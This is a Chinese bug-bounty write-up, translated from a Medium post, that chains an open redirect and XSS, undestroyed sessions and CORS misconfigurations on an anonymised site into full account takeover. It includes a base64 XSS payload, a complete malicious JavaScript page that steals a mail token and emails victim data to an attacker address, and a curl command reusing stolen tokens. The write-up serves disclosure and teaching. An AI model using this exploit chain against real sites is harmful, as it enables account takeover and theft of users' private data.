这是我在一个众测项目中发现的漏洞，单个漏洞可能不是那么有趣，但是把他们组合起来利用，逼格一下子就上来了，也算是比较经典的组合拳
所以，请大家看到最后
为了保护厂商隐私，我们姑且把这次的测试网址定为host.com
开放式重定向
第一个漏洞很简单，就是一个开放式重定向，当然，这个开放式重定向咱们也可以把他弄成一个反射型xss
www.host.com/redencrypt?location=data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg==&utm_source=saloncentric_app&utm_medium=referral
这个xss只能在safari浏览器上触发，而且啥数据都偷不到
虽然不能说是🐂b哄哄，也算是毫无用处了🤣🤣🤣
其中，存在漏洞的参数是location，我们使用的payload就是一个base64编码过后的<script>alert(‘test3’)</script>
Session永生
本来想把这个漏洞叫做session固定漏洞，但是一想，这个漏洞还和session固定漏洞不太一样，它更牛逼
怎么个牛逼法呢？
一般情况下，咱们登录一个网站，网站都会返回给我们一个sessionid,这个sessionid就是用来识别不同的用户的
和这个sessionid对应的，网站服务器上还存着用户的session，正常情况下，我们登出或者更改密码过后网站就应该销毁咱们的session
但是，我测试的这个站点就没有销毁session，也就是session永生
网站不死它不死，就问你怕不怕！
是不是很多小伙伴之前挖洞的时候根本没想着挖这个点？那么下次就可以试试了，测试方式也很简单
-
登录网站，请求一个需要登录过后才能访问的接口发包，用burp抓包 -
登出网站 -
用burp repeater重放刚刚抓到的请求 -
如果依然能够返回登录后的数据，则存在漏洞🤑🤑🤑
对了，JWT sessions就别想了，JWT token都是有过期时间的
CORS配置错误
这是本次组合拳中最重要的一个漏洞，其实有这一个漏洞就已经算是接管别人的账号了，但是不够彻底
我们要的是什么？
是完全接管，就是拿到对方账号为所欲为的那种，你懂我意思吧
这个网站上有一个发送邮件的功能，用户可以通过这个功能给朋友发送邀请码、折扣码等等，而这个功能是在host.com的一个子域上实现的，我们将其称之为sub1.host.com，就是这个域名错误地配置了CORS
所以，我们可以构造一个恶意页面部署在我们的服务器上，恶意网页中包含如下js代码：
<script>
function steal(){
var xmlH = new XMLHttpRequest();
xmlH.open("GET", "https://sub1.host.com/api/v4/mail-token", true);
xmlH.withCredentials = true;
xmlH.send();
xmlH.onload = function(){
data = JSON.parse(this.responseText);
var mail_token = data.mail_token;
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://sub1.host.com/api/v5/email/share-code", true);
xhr.setRequestHeader("MailToken", mail_token);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"target":"id:222920"},"recipient_emails":["[email protected]"],"message":"STOLEN WITHOUT NOTICE/Interaction + EMAIL OF VICTIM in TITLE"}');
}
}
</script>
<body onload="steal()"></body>
假设该页面部署在http://www.axin.com/handsome.html,我把该链接发送给目标用户，当用户点击这个链接时，我们的恶意页面就带着目标用户的cookie给我自己发了一封邮件
我们可以通过这种方式盗取邀请码、折扣码，还能知道受害者的邮箱
由于子域名上的功能有限，暂且只能做这些事情...我们继续挖一挖吧
一处不起眼的逻辑漏洞
其实这一处漏洞还是因为CORS配置错误，这次有问题的域名为sub2.host.com（同样是CORS配置错误的域名）
我在这个域名上发现了接口sub2.host.com/api/v2/token，这个接口会返回一个字符串
我最开始不知道这个字符串是干嘛的，但是看到接口中有个token，我觉得这个字符串不会简单，所以就用这个字符串到处插😏
结果还真中奖了！
这就是处处留情的下场吗，我开心坏了
我发现这个字符串可以当做mydata.host.com的登录凭证
只要我们把这个字符串放到Authorization请求头中，或者是作为cookie中ac_access_token的值，我们就可以得到一些登录过后才能看到的响应
通过fuzzing，我发现这个域名下有如下这些接口：
-
用户购买记录 /user-me/purchases -
用户邮件记录 /user-me/sharables -
用户详细信息 /user-me -
用户奖励信息 /user-me/rewards
把漏洞串成羊肉串
ok,有了上面的漏洞，其实我们已经能够做很多事情了
特别是最后一个漏洞，这个CORS错误配置已经能够直接拿到token了，但是这个token在用户登出过后就会过期
所以，为了能够拿到高危/严重、拿到更多的💰，我们需要把这些漏洞串起来
下面就是整个流程
开放式重定向-->恶意站点-->恶意站点利用sub1.host.com上的CORS错误配置给攻击者发送一份邮件，这份邮件的内容就是从sub2.host.com/api/v2/token接口偷来的tokan--> 用这个token验证接口，然后拿到sessionid，还记得第二个漏洞吗？sessionid是不变的，所以，我们成功地完全接管了别人的账号
攻击者收到的邮件形式如下：
现在我们既可以用偷来的token查看用户隐私信息，也可以用sessionid完成更多操作
curl https://mydata.host.com/api/v4/user-me/purchases --cookie "ac_access_token=STOLEN_TOKENS" | jq
最后，收钱包到账￥10000
本文翻译自：https://medium.com/@mashoud1122/cors-misconfiguration-account-takeover-out-of-scope-to-grab-items-in-scope-66d9d18c7a46
怕什么真理无穷，进一寸有进一寸的欢喜
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论